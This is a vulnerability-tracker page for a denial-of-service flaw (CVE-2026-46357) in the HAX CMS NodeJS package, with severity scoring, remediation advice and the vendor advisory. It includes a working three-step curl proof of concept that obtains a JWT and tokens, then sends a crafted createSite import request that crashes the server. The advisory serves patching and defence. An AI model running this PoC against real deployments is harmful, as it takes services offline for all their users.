Skip to main content

HAX CMS NodeJS CVE-2026-46357

| EUVDEUVD-2026-34897 MEDIUM
NULL Pointer Dereference (CWE-476)
2026-05-19 https://github.com/haxtheweb/issues GHSA-9r33-xhw8-4qqp
6.5
CVSS 3.1 · Vendor: https://github.com/haxtheweb/issues
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Self-register account on open HAX CMS instance
  2. Delivery
    Authenticate via /system/api/login to obtain JWT
  3. Exploit
    Retrieve root_token and user_token from /system/api/connectionSettings
  4. Execution
    POST crafted import request to /system/api/createSite
  5. Persist
    HAXCMSFile.save() dereferences undefined originalname
  6. Impact
    Node.js process terminates, application offline

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Null pointer safety, defensive checks
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authentication is required: the attacker must present a valid JWT token (PR:L per CVSS:3.1/AV:N/AC:L/PR:L/UI:N). However, if HAX CMS is deployed with open account self-registration enabled (a default or common configuration), this authentication requirement is trivially satisfied by the attacker registering their own account - no credential compromise or social engineering is needed. The vulnerability is triggered specifically when the createSite API receives a request with build.structure set to 'import' and a non-empty files map, which routes execution through the remote import code path in createSite.js:176. No special network position, elevated privileges, or non-standard configuration beyond a reachable HTTP endpoint is required. Exploitation is limited to availability impact only (C:N/I:N/A:H) - no data exfiltration or code execution is possible through this vector. Deployments where account registration is disabled and credentials are tightly controlled reduce risk substantially, as an external attacker would need to obtain valid credentials through other means.

Impact

The CVSS 6.5 score (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) accurately reflects the impact profile: network-reachable, low complexity, low privilege required, and total availability loss. The PR:L (low privilege) designation is technically accurate per CVSS semantics, but real-world risk is amplified significantly by the application's open self-registration feature - an unauthenticated outsider can register, obtain a JWT, and trigger the crash within seconds, making the effective privilege barrier closer to none in default deployments. EPSS data was not provided in the intelligence feed; without it, exploitation probability cannot be quantified statistically. No CISA KEV listing exists, and no public exploit beyond the advisory PoC has been identified. That said, the PoC is fully functional, three-step, and requires no special tooling beyond curl - the exploitability bar is extremely low. The Availability:High impact is compounded by the requirement for a manual server restart; there is no automatic recovery. For internet-exposed HAX CMS instances with registration open, this should be treated as a high operational priority despite the moderate CVSS score.

Exploit ScenarioDerived

An attacker visits the HAX CMS instance, self-registers a new account using the open registration flow, and logs in to obtain a JWT token. They then call the connectionSettings endpoint to retrieve the required root and user tokens, and submit a single crafted POST to /system/api/createSite specifying build.structure=import with a file map - no file upload or outbound connectivity required. The Node.js process crashes immediately with TypeError: Cannot read properties of undefined (reading 'replace'), taking all users offline until an administrator manually restarts the server. A functional three-step PoC using only curl is publicly documented in the GitHub security advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Denial of service in HAX CMS NodeJS (npm/@haxtheweb/haxcms-nodejs) allows any authenticated user to crash the entire Node.js server process with a single crafted HTTP POST to the createSite endpoint. The crash stems from a null pointer dereference (CWE-476) in HAXCMSFile.save(), where tmpFile.originalname is undefined, causing an unhandled TypeError that terminates the process immediately. Because HAX CMS permits open account self-registration, an attacker can create their own account and trigger the crash without needing to compromise existing credentials, making the effective barrier to exploitation very low despite the PR:L CVSS designation. No public exploit identified at time of analysis beyond the PoC included in the GitHub security advisory.

RemediationAI

Upgrade @haxtheweb/haxcms-nodejs to version 26.0.0 or later; this is the vendor-released patch confirmed in GitHub Advisory GHSA-9r33-xhw8-4qqp (https://github.com/haxtheweb/issues/security/advisories/GHSA-9r33-xhw8-4qqp). If immediate upgrade is not feasible, disable self-registration to force PR:L to mean a genuinely controlled credential set - this eliminates the zero-friction attack path where any outsider can self-provision access; note this may disrupt legitimate onboarding workflows. As an additional compensating control, place the createSite API endpoint (system/api/createSite) behind a WAF or reverse proxy with rate limiting or IP allowlisting, which reduces availability impact even if an authenticated user triggers the bug; this does not eliminate the vulnerability but limits blast radius. Process managers such as PM2 configured with auto-restart can reduce downtime per crash event, though this introduces a brief service interruption window and does not prevent repeated crash loops by a persistent attacker.

Affected VersionsENISA

haxcms-nodejs < 26.0.0

Affected Packages

npm @haxtheweb/haxcms-nodejs fix: 26.0.0
euvd haxcms_nodejs fix: 26.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HAX CMS NodeJS is a Node.js-based CMS published as the npm package @haxtheweb/haxcms-nodejs. The affected code path involves the site creation route (src/routes/createSite.js:176) and the file abstraction library (src/lib/HAXCMSFile.js:25). When a site creation request uses the 'import' build structure, createSite constructs a file object and passes it to HAXCMSFile.save(). However, this internally constructed object lacks the originalname property that save() immediately dereferences via tmpFile.originalname.replace(...). In Node.js, accessing a property on undefined throws a synchronous TypeError. Because this exception is unhandled at the process level, the entire Node.js server process terminates. The CWE-476 (NULL Pointer Dereference) classification maps precisely: the code assumes a required property exists on an object without a null/undefined guard, a common pattern in dynamically typed JavaScript. The CPE identifier is pkg:npm/@haxtheweb_haxcms-nodejs for versions prior to 26.0.0.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/haxtheweb/issues) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Primary rating from Vendor (https://github.com/haxtheweb/issues) · only source for this CVE.

CVSS VectorVendor: https://github.com/haxtheweb/issues

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.

Details

The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.

The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).

As a result:

  • the request reaches privileged code inside createSite
  • the server hits the remote file handling path
  • the process crashes before downloadAndSaveFile() performs the outbound request
  • no imported file is written into the site directory

Affected Resources

  • src/routes/createSite.js:176
  • src/lib/HAXCMSFile.js:25
  • system/api/createSite

PoC

  1. Obtain a JWT by logging in with valid credentials.
bash
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)
  1. Extract the required tokens from the connectionSettings endpoint.
bash
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)
  1. Send the malformed request to crash the server.
bash
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
  -H 'Content-Type: application/json' \
  -d "{
    \"token\": \"$ROOT_TOKEN\",
    \"site\": { \"name\": \"dos-poc\" },
    \"theme\": {},
    \"build\": {
      \"structure\": \"import\",
      \"type\": \"import\",
      \"items\": [],
      \"files\": {
        \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
      }
    }
  }"

<img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" />

The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.

<img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" />

Impact

An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

A null pointer dereference occurs when a program attempts to access memory through a pointer that has been set to NULL (address 0x0).

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy